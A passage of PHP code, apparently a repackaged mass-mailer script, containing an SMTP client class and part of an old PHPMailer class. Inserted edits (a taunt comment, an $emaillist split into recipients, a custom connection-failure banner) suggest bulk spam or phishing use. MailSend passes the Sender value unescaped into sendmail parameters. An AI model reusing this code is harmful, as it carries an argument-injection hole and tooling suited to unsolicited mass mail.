911 function SendHello($hello, $host) {
912 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
913
914 $rply = $this->get_lines();
915 $code = substr($rply,0,3);
916
917 if($this->do_debug >= 2) {
918 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
919 }
920
921 if($code != 250) {
922 $this->error =
923 array("error" => $hello . " not accepted from server",
924 "smtp_code" => $code,
925 "smtp_msg" => substr($rply,4));
926 if($this->do_debug >= 1) {
927 echo "SMTP -> ERROR: " . $this->error["error"] .
928 ": " . $rply . $this->CRLF;
929 }
930 return false;
931 }
932
933 $this->helo_rply = $rply;
934
935 return true;
936 }
937
938 /**
939 * Gets help information on the keyword specified. If the keyword
940 * is not specified then returns generic help, ussually contianing
941 * A list of keywords that help is available on. This function
942 * returns the results back to the user. It is up to the user to
943 * handle the returned data. If an error occurs then false is
944 * returned with $this->error set appropiately.
945 *
946 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
947 *
948 * SMTP CODE SUCCESS: 211,214
949 * SMTP CODE ERROR : 500,501,502,504,421
950 * @access public
951 * @return string
952 */
953 function Help($keyword="") {
954 $this->error = null; # to avoid confusion
955
956 if(!$this->connected()) {
957 $this->error = array(
958 "error" => "Called Help() without being connected");
959 return false;
960 }
961
962 $extra = "";
963 if(!empty($keyword)) {
964 $extra = " " . $keyword;
965 }
966
967 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
968
969 $rply = $this->get_lines();
970 $code = substr($rply,0,3);
971
972 if($this->do_debug >= 2) {
973 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
974 }
975
976 if($code != 211 && $code != 214) {
977 $this->error =
978 array("error" => "HELP not accepted from server",
979 "smtp_code" => $code,
980 "smtp_msg" => substr($rply,4));
981 if($this->do_debug >= 1) {
982 echo "SMTP -> ERROR: " . $this->error["error"] .
983 ": " . $rply . $this->CRLF;
984 }
985 return false;
986 }
987
988 return $rply;
989 }
990
991 /**
992 * Starts a mail transaction from the email address specified in
993 * $from. Returns true if successful or false otherwise. If True
994 * the mail transaction is started and then one or more Recipient
995 * commands may be called followed by a Data command.
996 *
997 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
998 *
999 * SMTP CODE SUCCESS: 250
1000 * SMTP CODE SUCCESS: 552,451,452
1001 * SMTP CODE SUCCESS: 500,501,421
1002 * @access public
1003 * @return bool
1004 */
1005 function Mail($from) {
1006 $this->error = null; # so no confusion is caused
1007
1008 if(!$this->connected()) {
1009 $this->error = array(
1010 "error" => "Called Mail() without being connected");
1011 return false;
1012 }
1013
1014 $useVerp = ($this->do_verp ? "XVERP" : "");
1015 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1016
1017 $rply = $this->get_lines();
1018 $code = substr($rply,0,3);
1019
1020 if($this->do_debug >= 2) {
1021 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1022 }
1023
1024 if($code != 250) {
1025 $this->error =
1026 array("error" => "MAIL not accepted from server",
1027 "smtp_code" => $code,
1028 "smtp_msg" => substr($rply,4));
1029 if($this->do_debug >= 1) {
1030 echo "SMTP -> ERROR: " . $this->error["error"] .
1031 ": " . $rply . $this->CRLF;
1032 }
1033 return false;
1034 }
1035 return true;
1036 }
1037
1038 /**
1039 * Sends the command NOOP to the SMTP server.
1040 *
1041 * Implements from rfc 821: NOOP <CRLF>
1042 *
1043 * SMTP CODE SUCCESS: 250
1044 * SMTP CODE ERROR : 500, 421
1045 * @access public
1046 * @return bool
1047 */
1048 function Noop() {
1049 $this->error = null; # so no confusion is caused
1050
1051 if(!$this->connected()) {
1052 $this->error = array(
1053 "error" => "Called Noop() without being connected");
1054 return false;
1055 }
1056
1057 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1058
1059 $rply = $this->get_lines();
1060 $code = substr($rply,0,3);
1061
1062 if($this->do_debug >= 2) {
1063 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1064 }
1065
1066 if($code != 250) {
1067 $this->error =
1068 array("error" => "NOOP not accepted from server",
1069 "smtp_code" => $code,
1070 "smtp_msg" => substr($rply,4));
1071 if($this->do_debug >= 1) {
1072 echo "SMTP -> ERROR: " . $this->error["error"] .
1073 ": " . $rply . $this->CRLF;
1074 }
1075 return false;
1076 }
1077 return true;
1078 }
1079
1080 /**
1081 * Sends the quit command to the server and then closes the socket
1082 * if there is no error or the $close_on_error argument is true.
1083 *
1084 * Implements from rfc 821: QUIT <CRLF>
1085 *
1086 * SMTP CODE SUCCESS: 221
1087 * SMTP CODE ERROR : 500
1088 * @access public
1089 * @return bool
1090 */
1091 function Quit($close_on_error=true) {
1092 $this->error = null; # so there is no confusion
1093
1094 if(!$this->connected()) {
1095 $this->error = array(
1096 "error" => "Called Quit() without being connected");
1097 return false;
1098 }
1099
1100 # send the quit command to the server
1101 fputs($this->smtp_conn,"quit" . $this->CRLF);
1102
1103 # get any good-bye messages
1104 $byemsg = $this->get_lines();
1105
1106 if($this->do_debug >= 2) {
1107 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1108 }
1109
1110 $rval = true;
1111 $e = null;
1112
1113 $code = substr($byemsg,0,3);
1114 if($code != 221) {
1115 # use e as a tmp var cause Close will overwrite $this->error
1116 $e = array("error" => "SMTP server rejected quit command",
1117 "smtp_code" => $code,
1118 "smtp_rply" => substr($byemsg,4));
1119 $rval = false;
1120 if($this->do_debug >= 1) {
1121 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1122 $byemsg . $this->CRLF;
1123 }
1124 }
1125
1126 if(empty($e) || $close_on_error) {
1127 $this->Close();
1128 }
1129
1130 return $rval;
1131 }
1132
1133 /**
1134 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1135 * Returns true if the recipient was accepted false if it was rejected.
1136 *
1137 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1138 *
1139 * SMTP CODE SUCCESS: 250,251
1140 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1141 * SMTP CODE ERROR : 500,501,503,421
1142 * @access public
1143 * @return bool
1144 */
1145 function Recipient($to) {
1146 $this->error = null; # so no confusion is caused
1147
1148 if(!$this->connected()) {
1149 $this->error = array(
1150 "error" => "Called Recipient() without being connected");
1151 return false;
1152 }
1153
1154 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1155
1156 $rply = $this->get_lines();
1157 $code = substr($rply,0,3);
1158
1159 if($this->do_debug >= 2) {
1160 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1161 }
1162
1163 if($code != 250 && $code != 251) {
1164 $this->error =
1165 array("error" => "RCPT not accepted from server",
1166 "smtp_code" => $code,
1167 "smtp_msg" => substr($rply,4));
1168 if($this->do_debug >= 1) {
1169 echo "SMTP -> ERROR: " . $this->error["error"] .
1170 ": " . $rply . $this->CRLF;
1171 }
1172 return false;
1173 }
1174 return true;
1175 }
1176
1177 /**
1178 * Sends the RSET command to abort and transaction that is
1179 * currently in progress. Returns true if successful false
1180 * otherwise.
1181 *
1182 * Implements rfc 821: RSET <CRLF>
1183 *
1184 * SMTP CODE SUCCESS: 250
1185 * SMTP CODE ERROR : 500,501,504,421
1186 * @access public
1187 * @return bool
1188 */
1189 function Reset() {
1190 $this->error = null; # so no confusion is caused
1191
1192 if(!$this->connected()) {
1193 $this->error = array(
1194 "error" => "Called Reset() without being connected");
1195 return false;
1196 }
1197
1198 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1199
1200 $rply = $this->get_lines();
1201 $code = substr($rply,0,3);
1202
1203 if($this->do_debug >= 2) {
1204 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1205 }
1206
1207 if($code != 250) {
1208 $this->error =
1209 array("error" => "RSET failed",
1210 "smtp_code" => $code,
1211 "smtp_msg" => substr($rply,4));
1212 if($this->do_debug >= 1) {
1213 echo "SMTP -> ERROR: " . $this->error["error"] .
1214 ": " . $rply . $this->CRLF;
1215 }
1216 return false;
1217 }
1218
1219 return true;
1220 }
1221
1222 /**
1223 * Starts a mail transaction from the email address specified in
1224 * $from. Returns true if successful or false otherwise. If True
1225 * the mail transaction is started and then one or more Recipient
1226 * commands may be called followed by a Data command. This command
1227 * will send the message to the users terminal if they are logged
1228 * in.
1229 *
1230 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1231 *
1232 * SMTP CODE SUCCESS: 250
1233 * SMTP CODE SUCCESS: 552,451,452
1234 * SMTP CODE SUCCESS: 500,501,502,421
1235 * @access public
1236 * @return bool
1237 */
1238 function Send($from) {
1239 $this->error = null; # so no confusion is caused
1240
1241 if(!$this->connected()) {
1242 $this->error = array(
1243 "error" => "Called Send() without being connected");
1244 return false;
1245 }
1246
1247 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1248
1249 $rply = $this->get_lines();
1250 $code = substr($rply,0,3);
1251
1252 if($this->do_debug >= 2) {
1253 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1254 }
1255
1256 if($code != 250) {
1257 $this->error =
1258 array("error" => "SEND not accepted from server",
1259 "smtp_code" => $code,
1260 "smtp_msg" => substr($rply,4));
1261 if($this->do_debug >= 1) {
1262 echo "SMTP -> ERROR: " . $this->error["error"] .
1263 ": " . $rply . $this->CRLF;
1264 }
1265 return false;
1266 }
1267 return true;
1268 }
1269
1270 /**
1271 * Starts a mail transaction from the email address specified in
1272 * $from. Returns true if successful or false otherwise. If True
1273 * the mail transaction is started and then one or more Recipient
1274 * commands may be called followed by a Data command. This command
1275 * will send the message to the users terminal if they are logged
1276 * in and send them an email.
1277 *
1278 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1279 *
1280 * SMTP CODE SUCCESS: 250
1281 * SMTP CODE SUCCESS: 552,451,452
1282 * SMTP CODE SUCCESS: 500,501,502,421
1283 * @access public
1284 * @return bool
1285 */
1286 function SendAndMail($from) {
1287 $this->error = null; # so no confusion is caused
1288
1289 if(!$this->connected()) {
1290 $this->error = array(
1291 "error" => "Called SendAndMail() without being connected");
1292 return false;
1293 }
1294
1295 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1296
1297 $rply = $this->get_lines();
1298 $code = substr($rply,0,3);
1299
1300 if($this->do_debug >= 2) {
1301 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1302 }
1303
1304 if($code != 250) {
1305 $this->error =
1306 array("error" => "SAML not accepted from server",
1307 "smtp_code" => $code,
1308 "smtp_msg" => substr($rply,4));
1309 if($this->do_debug >= 1) {
1310 echo "SMTP -> ERROR: " . $this->error["error"] .
1311 ": " . $rply . $this->CRLF;
1312 }
1313 return false;
1314 }
1315 return true;
1316 }
1317
1318 /**
1319 * Starts a mail transaction from the email address specified in
1320 * $from. Returns true if successful or false otherwise. If True
1321 * the mail transaction is started and then one or more Recipient
1322 * commands may be called followed by a Data command. This command
1323 * will send the message to the users terminal if they are logged
1324 * in or mail it to them if they are not.
1325 *
1326 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1327 *
1328 * SMTP CODE SUCCESS: 250
1329 * SMTP CODE SUCCESS: 552,451,452
1330 * SMTP CODE SUCCESS: 500,501,502,421
1331 * @access public
1332 * @return bool
1333 */
1334 function SendOrMail($from) {
1335 $this->error = null; # so no confusion is caused
1336
1337 if(!$this->connected()) {
1338 $this->error = array(
1339 "error" => "Called SendOrMail() without being connected");
1340 return false;
1341 }
1342
1343 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1344
1345 $rply = $this->get_lines();
1346 $code = substr($rply,0,3);
1347
1348 if($this->do_debug >= 2) {
1349 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1350 }
1351
1352 if($code != 250) {
1353 $this->error =
1354 array("error" => "SOML not accepted from server",
1355 "smtp_code" => $code,
1356 "smtp_msg" => substr($rply,4));
1357 if($this->do_debug >= 1) {
1358 echo "SMTP -> ERROR: " . $this->error["error"] .
1359 ": " . $rply . $this->CRLF;
1360 }
1361 return false;
1362 }
1363 return true;
1364 }
1365
1366 /**
1367 * This is an optional command for SMTP that this class does not
1368 * support. This method is here to make the RFC821 Definition
1369 * complete for this class and __may__ be implimented in the future
1370 *
1371 * Implements from rfc 821: TURN <CRLF>
1372 *
1373 * SMTP CODE SUCCESS: 250
1374 * SMTP CODE FAILURE: 502
1375 * SMTP CODE ERROR : 500, 503
1376 * @access public
1377 * @return bool
1378 */
1379 function Turn() {
1380 $this->error = array("error" => "This method, TURN, of the SMTP ".
1381 "is not implemented");
1382 if($this->do_debug >= 1) {
1383 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1384 }
1385 return false;
1386 }
1387
1388 /**
1389 * Verifies that the name is recognized by the server.
1390 * Returns false if the name could not be verified otherwise
1391 * the response from the server is returned.
1392 *
1393 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1394 *
1395 * SMTP CODE SUCCESS: 250,251
1396 * SMTP CODE FAILURE: 550,551,553
1397 * SMTP CODE ERROR : 500,501,502,421
1398 * @access public
1399 * @return int
1400 */
1401 function Verify($name) {
1402 $this->error = null; # so no confusion is caused
1403
1404 if(!$this->connected()) {
1405 $this->error = array(
1406 "error" => "Called Verify() without being connected");
1407 return false;
1408 }
1409
1410 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1411
1412 $rply = $this->get_lines();
1413 $code = substr($rply,0,3);
1414
1415 if($this->do_debug >= 2) {
1416 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1417 }
1418
1419 if($code != 250 && $code != 251) {
1420 $this->error =
1421 array("error" => "VRFY failed on name '$name'",
1422 "smtp_code" => $code,
1423 "smtp_msg" => substr($rply,4));
1424 if($this->do_debug >= 1) {
1425 echo "SMTP -> ERROR: " . $this->error["error"] .
1426 ": " . $rply . $this->CRLF;
1427 }
1428 return false;
1429 }
1430 return $rply;
1431 }
1432
1433 /*******************************************************************
1434 * INTERNAL FUNCTIONS *
1435 ******************************************************************/
1436
1437 /**
1438 * Read in as many lines as possible
1439 * either before eof or socket timeout occurs on the operation.
1440 * With SMTP we can tell if we have more lines to read if the
1441 * 4th character is '-' symbol. If it is a space then we don't
1442 * need to read anything else.
1443 * @access private
1444 * @return string
1445 */
1446 function get_lines() {
1447 $data = "";
1448 while($str = @fgets($this->smtp_conn,515)) {
1449 if($this->do_debug >= 4) {
1450 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1451 $this->CRLF;
1452 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1453 $this->CRLF;
1454 }
1455 $data .= $str;
1456 if($this->do_debug >= 4) {
1457 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1458 }
1459 # if the 4th character is a space then we are done reading
1460 # so just break the loop
1461 if(substr($str,3,1) == " ") { break; }
1462 }
1463 return $data;
1464 }
1465
1466}
1467 // Here Bitchz Hilmy
1468
1469$allemails = split("\n", $emaillist);
1470$numemails = count($allemails);
1471
1472class PHPMailer {
1473
1474 /////////////////////////////////////////////////
1475 // PROPERTIES, PUBLIC
1476 /////////////////////////////////////////////////
1477
1478 /**
1479 * Email priority (1 = High, 3 = Normal, 5 = low).
1480 * @var int
1481 */
1482 var $Priority = 3;
1483
1484 /**
1485 * Sets the CharSet of the message.
1486 * @var string
1487 */
1488 var $CharSet = 'us-ascii';
1489
1490 /**
1491 * Sets the Content-type of the message.
1492 * @var string
1493 */
1494 var $ContentType = 'text/plain';
1495
1496 /**
1497 * Sets the Encoding of the message. Options for this are "8bit",
1498 * "7bit", "binary", "base64", and "quoted-printable".
1499
1500 * @var string
1501 */
1502 var $Encoding = 'quoted-printable';
1503
1504 /**
1505 * Holds the most recent mailer error message.
1506 * @var string
1507 */
1508 var $ErrorInfo = '';
1509
1510 /**
1511 * Sets the From email address for the message.
1512 * @var string
1513 */
1514 var $From = '';
1515
1516 /**
1517 * Sets the From name of the message.
1518 * @var string
1519 */
1520 var $FromName = '';
1521
1522 /**
1523 * Sets the Sender email (Return-Path) of the message. If not empty,
1524 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1525 * @var string
1526 */
1527 var $Sender = '';
1528
1529 /**
1530 * Sets the Subject of the message.
1531 * @var string
1532 */
1533 var $Subject = '';
1534
1535 /**
1536 * Sets the Body of the message. This can be either an HTML or text body.
1537 * If HTML then run IsHTML(true).
1538 * @var string
1539 */
1540 var $Body = '';
1541
1542 /**
1543 * Sets the text-only body of the message. This automatically sets the
1544 * email to multipart/alternative. This body can be read by mail
1545 * clients that do not have HTML email capability such as mutt. Clients
1546 * that can read HTML will view the normal Body.
1547 * @var string
1548 */
1549 var $AltBody = '';
1550
1551 /**
1552 * Sets word wrapping on the body of the message to a given number of
1553 * characters.
1554 * @var int
1555 */
1556 var $WordWrap = 0;
1557
1558 /**
1559 * Method to send mail: ("mail", "sendmail", or "smtp").
1560 * @var string
1561 */
1562 var $Mailer = 'mail';
1563
1564 /**
1565 * Sets the path of the sendmail program.
1566 * @var string
1567 */
1568 var $Sendmail = '/usr/sbin/sendmail';
1569
1570 /**
1571 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1572 * is in a different directory than the PHP include path.
1573 * @var string
1574 */
1575 var $PluginDir = '';
1576
1577 /**
1578 * Holds PHPMailer version.
1579 * @var string
1580 */
1581 var $Version = "";
1582
1583 /**
1584 * Sets the email address that a reading confirmation will be sent.
1585 * @var string
1586 */
1587 var $ConfirmReadingTo = '';
1588
1589 /**
1590 * Sets the hostname to use in Message-Id and Received headers
1591 * and as default HELO string. If empty, the value returned
1592 * by SERVER_NAME is used or 'localhost.localdomain'.
1593 * @var string
1594 */
1595 var $Hostname = '';
1596
1597 /**
1598 * Sets the message ID to be used in the Message-Id header.
1599 * If empty, a unique id will be generated.
1600 * @var string
1601 */
1602 var $MessageID = '';
1603
1604 /////////////////////////////////////////////////
1605 // PROPERTIES FOR SMTP
1606 /////////////////////////////////////////////////
1607
1608 /**
1609 * Sets the SMTP hosts. All hosts must be separated by a
1610 * semicolon. You can also specify a different port
1611 * for each host by using this format: [hostname:port]
1612 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1613 * Hosts will be tried in order.
1614 * @var string
1615 */
1616 var $Host = 'localhost';
1617
1618 /**
1619 * Sets the default SMTP server port.
1620 * @var int
1621 */
1622 var $Port = 25;
1623
1624 /**
1625 * Sets the SMTP HELO of the message (Default is $Hostname).
1626 * @var string
1627 */
1628 var $Helo = '';
1629
1630 /**
1631 * Sets connection prefix.
1632 * Options are "", "ssl" or "tls"
1633 * @var string
1634 */
1635 var $SMTPSecure = "";
1636
1637 /**
1638 * Sets SMTP authentication. Utilizes the Username and Password variables.
1639 * @var bool
1640 */
1641 var $SMTPAuth = false;
1642
1643 /**
1644 * Sets SMTP username.
1645 * @var string
1646 */
1647 var $Username = '';
1648
1649 /**
1650 * Sets SMTP password.
1651 * @var string
1652 */
1653 var $Password = '';
1654
1655 /**
1656 * Sets the SMTP server timeout in seconds. This function will not
1657 * work with the win32 version.
1658 * @var int
1659 */
1660 var $Timeout = 10;
1661
1662 /**
1663 * Sets SMTP class debugging on or off.
1664 * @var bool
1665 */
1666 var $SMTPDebug = false;
1667
1668 /**
1669 * Prevents the SMTP connection from being closed after each mail
1670 * sending. If this is set to true then to close the connection
1671 * requires an explicit call to SmtpClose().
1672 * @var bool
1673 */
1674 var $SMTPKeepAlive = false;
1675
1676 /**
1677 * Provides the ability to have the TO field process individual
1678 * emails, instead of sending to entire TO addresses
1679 * @var bool
1680 */
1681 var $SingleTo = false;
1682
1683 /////////////////////////////////////////////////
1684 // PROPERTIES, PRIVATE
1685 /////////////////////////////////////////////////
1686
1687 var $smtp = NULL;
1688 var $to = array();
1689 var $cc = array();
1690 var $bcc = array();
1691 var $ReplyTo = array();
1692 var $attachment = array();
1693 var $CustomHeader = array();
1694 var $message_type = '';
1695 var $boundary = array();
1696 var $language = array();
1697 var $error_count = 0;
1698 var $LE = "\n";
1699 var $sign_key_file = "";
1700 var $sign_key_pass = "";
1701
1702 /////////////////////////////////////////////////
1703 // METHODS, VARIABLES
1704 /////////////////////////////////////////////////
1705
1706 /**
1707 * Sets message type to HTML.
1708 * @param bool $bool
1709 * @return void
1710 */
1711 function IsHTML($bool) {
1712 if($bool == true) {
1713 $this->ContentType = 'text/html';
1714 } else {
1715 $this->ContentType = 'text/plain';
1716 }
1717 }
1718
1719 /**
1720 * Sets Mailer to send message using SMTP.
1721 * @return void
1722 */
1723 function IsSMTP() {
1724 $this->Mailer = 'smtp';
1725 }
1726
1727 /**
1728 * Sets Mailer to send message using PHP mail() function.
1729 * @return void
1730 */
1731 function IsMail() {
1732 $this->Mailer = 'mail';
1733 }
1734
1735 /**
1736 * Sets Mailer to send message using the $Sendmail program.
1737 * @return void
1738 */
1739 function IsSendmail() {
1740 $this->Mailer = 'sendmail';
1741 }
1742
1743 /**
1744 * Sets Mailer to send message using the qmail MTA.
1745 * @return void
1746 */
1747 function IsQmail() {
1748 $this->Sendmail = '/var/qmail/bin/sendmail';
1749 $this->Mailer = 'sendmail';
1750 }
1751
1752 /////////////////////////////////////////////////
1753 // METHODS, RECIPIENTS
1754 /////////////////////////////////////////////////
1755
1756 /**
1757 * Adds a "To" address.
1758 * @param string $address
1759 * @param string $name
1760 * @return void
1761 */
1762 function AddAddress($address, $name = '') {
1763 $cur = count($this->to);
1764 $this->to[$cur][0] = trim($address);
1765 $this->to[$cur][1] = $name;
1766 }
1767
1768 /**
1769 * Adds a "Cc" address. Note: this function works
1770 * with the SMTP mailer on win32, not with the "mail"
1771 * mailer.
1772 * @param string $address
1773 * @param string $name
1774 * @return void
1775 */
1776 function AddCC($address, $name = '') {
1777 $cur = count($this->cc);
1778 $this->cc[$cur][0] = trim($address);
1779 $this->cc[$cur][1] = $name;
1780 }
1781
1782 /**
1783 * Adds a "Bcc" address. Note: this function works
1784 * with the SMTP mailer on win32, not with the "mail"
1785 * mailer.
1786 * @param string $address
1787 * @param string $name
1788 * @return void
1789 */
1790 function AddBCC($address, $name = '') {
1791 $cur = count($this->bcc);
1792 $this->bcc[$cur][0] = trim($address);
1793 $this->bcc[$cur][1] = $name;
1794 }
1795
1796 /**
1797 * Adds a "Reply-To" address.
1798 * @param string $address
1799 * @param string $name
1800 * @return void
1801 */
1802 function AddReplyTo($address, $name = '') {
1803 $cur = count($this->ReplyTo);
1804 $this->ReplyTo[$cur][0] = trim($address);
1805 $this->ReplyTo[$cur][1] = $name;
1806 }
1807
1808 /////////////////////////////////////////////////
1809 // METHODS, MAIL SENDING
1810 /////////////////////////////////////////////////
1811
1812 /**
1813 * Creates message and assigns Mailer. If the message is
1814 * not sent successfully then it returns false. Use the ErrorInfo
1815 * variable to view description of the error.
1816 * @return bool
1817 */
1818 function Send() {
1819 $header = '';
1820 $body = '';
1821 $result = true;
1822
1823 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1824 $this->SetError($this->Lang('provide_address'));
1825 return false;
1826 }
1827
1828 /* Set whether the message is multipart/alternative */
1829 if(!empty($this->AltBody)) {
1830 $this->ContentType = 'multipart/alternative';
1831 }
1832
1833 $this->error_count = 0; // reset errors
1834 $this->SetMessageType();
1835 $header .= $this->CreateHeader();
1836 $body = $this->CreateBody();
1837
1838 if($body == '') {
1839 return false;
1840 }
1841
1842 /* Choose the mailer */
1843 switch($this->Mailer) {
1844 case 'sendmail':
1845 $result = $this->SendmailSend($header, $body);
1846 break;
1847 case 'smtp':
1848 $result = $this->SmtpSend($header, $body);
1849 break;
1850 case 'mail':
1851 $result = $this->MailSend($header, $body);
1852 break;
1853 default:
1854 $result = $this->MailSend($header, $body);
1855 break;
1856 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1857 //$result = false;
1858 //break;
1859 }
1860
1861 return $result;
1862 }
1863
1864 /**
1865 * Sends mail using the $Sendmail program.
1866 * @access private
1867 * @return bool
1868 */
1869 function SendmailSend($header, $body) {
1870 if ($this->Sender != '') {
1871 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1872 } else {
1873 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1874 }
1875
1876 if(!@$mail = popen($sendmail, 'w')) {
1877 $this->SetError($this->Lang('execute') . $this->Sendmail);
1878 return false;
1879 }
1880
1881 fputs($mail, $header);
1882 fputs($mail, $body);
1883
1884 $result = pclose($mail);
1885 if (version_compare(phpversion(), '4.2.3') == -1) {
1886 $result = $result >> 8 & 0xFF;
1887 }
1888 if($result != 0) {
1889 $this->SetError($this->Lang('execute') . $this->Sendmail);
1890 return false;
1891 }
1892 return true;
1893 }
1894
1895 /**
1896 * Sends mail using the PHP mail() function.
1897 * @access private
1898 * @return bool
1899 */
1900 function MailSend($header, $body) {
1901
1902 $to = '';
1903 for($i = 0; $i < count($this->to); $i++) {
1904 if($i != 0) { $to .= ', '; }
1905 $to .= $this->AddrFormat($this->to[$i]);
1906 }
1907
1908 $toArr = split(',', $to);
1909
1910 $params = sprintf("-oi -f %s", $this->Sender);
1911 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1912 $old_from = ini_get('sendmail_from');
1913 ini_set('sendmail_from', $this->Sender);
1914 if ($this->SingleTo === true && count($toArr) > 1) {
1915 foreach ($toArr as $key => $val) {
1916 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1917 }
1918 } else {
1919 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1920 }
1921 } else {
1922 if ($this->SingleTo === true && count($toArr) > 1) {
1923 foreach ($toArr as $key => $val) {
1924 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1925 }
1926 } else {
1927 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1928 }
1929 }
1930
1931 if (isset($old_from)) {
1932 ini_set('sendmail_from', $old_from);
1933 }
1934
1935 if(!$rt) {
1936 $this->SetError($this->Lang('instantiate'));
1937 return false;
1938 }
1939
1940 return true;
1941 }
1942
1943 /**
1944 * Sends mail via SMTP using PhpSMTP (Author:
1945 * Chris Ryan). Returns bool. Returns false if there is a
1946 * bad MAIL FROM, RCPT, or DATA input.
1947 * @access private
1948 * @return bool
1949 */
1950 function SmtpSend($header, $body) {
1951 $error = '';
1952 $bad_rcpt = array();
1953
1954 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1955 return false;
1956 }
1957
1958 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1959 if(!$this->smtp->Mail($smtp_from)) {
1960 $error = $this->Lang('from_failed') . $smtp_from;
1961 $this->SetError($error);
1962 $this->smtp->Reset();
1963 return false;
1964 }
1965
1966 /* Attempt to send attach all recipients */
1967 for($i = 0; $i < count($this->to); $i++) {
1968 if(!$this->smtp->Recipient($this->to[$i][0])) {
1969 $bad_rcpt[] = $this->to[$i][0];
1970 }
1971 }
1972 for($i = 0; $i < count($this->cc); $i++) {
1973 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1974 $bad_rcpt[] = $this->cc[$i][0];
1975 }
1976 }
1977 for($i = 0; $i < count($this->bcc); $i++) {
1978 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1979 $bad_rcpt[] = $this->bcc[$i][0];
1980 }
1981 }
1982
1983 if(count($bad_rcpt) > 0) { // Create error message
1984 for($i = 0; $i < count($bad_rcpt); $i++) {
1985 if($i != 0) {
1986 $error .= ', ';
1987 }
1988 $error .= $bad_rcpt[$i];
1989
1990 }
1991 $error = $this->Lang('recipients_failed') . $error;
1992 $this->SetError($error);
1993 $this->smtp->Reset();
1994 return false;
1995 }
1996
1997 if(!$this->smtp->Data($header . $body)) {
1998 $this->SetError($this->Lang('data_not_accepted'));
1999 $this->smtp->Reset();
2000 return false;
2001 }
2002 if($this->SMTPKeepAlive == true) {
2003 $this->smtp->Reset();
2004 } else {
2005 $this->SmtpClose();
2006 }
2007
2008 return true;
2009 }
2010
2011 /**
2012 * Initiates a connection to an SMTP server. Returns false if the
2013 * operation failed.
2014 * @access private
2015 * @return bool
2016 */
2017 function SmtpConnect() {
2018 if($this->smtp == NULL) {
2019 $this->smtp = new SMTP();
2020 }
2021
2022 $this->smtp->do_debug = $this->SMTPDebug;
2023 $hosts = explode(';', $this->Host);
2024 $index = 0;
2025 $connection = ($this->smtp->Connected());
2026
2027 /* Retry while there is no connection */
2028 while($index < count($hosts) && $connection == false) {
2029 $hostinfo = array();
2030 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2031 $host = $hostinfo[1];
2032 $port = $hostinfo[2];
2033 } else {
2034 $host = $hosts[$index];
2035 $port = $this->Port;
2036 }
2037
2038 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2039 if ($this->Helo != '') {
2040 $this->smtp->Hello($this->Helo);
2041 } else {
2042 $this->smtp->Hello($this->ServerHostname());
2043 }
2044
2045 $connection = true;
2046 if($this->SMTPAuth) {
2047 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2048 $this->SetError($this->Lang('authenticate'));
2049 $this->smtp->Reset();
2050 $connection = false;
2051 }
2052 }
2053 }
2054 $index++;
2055 }
2056 if(!$connection) {
2057 $this->SetError($this->Lang('connect_host'));
2058 }
2059
2060 return $connection;
2061 }
2062
2063 /**
2064 * Closes the active SMTP session if one exists.
2065 * @return void
2066 */
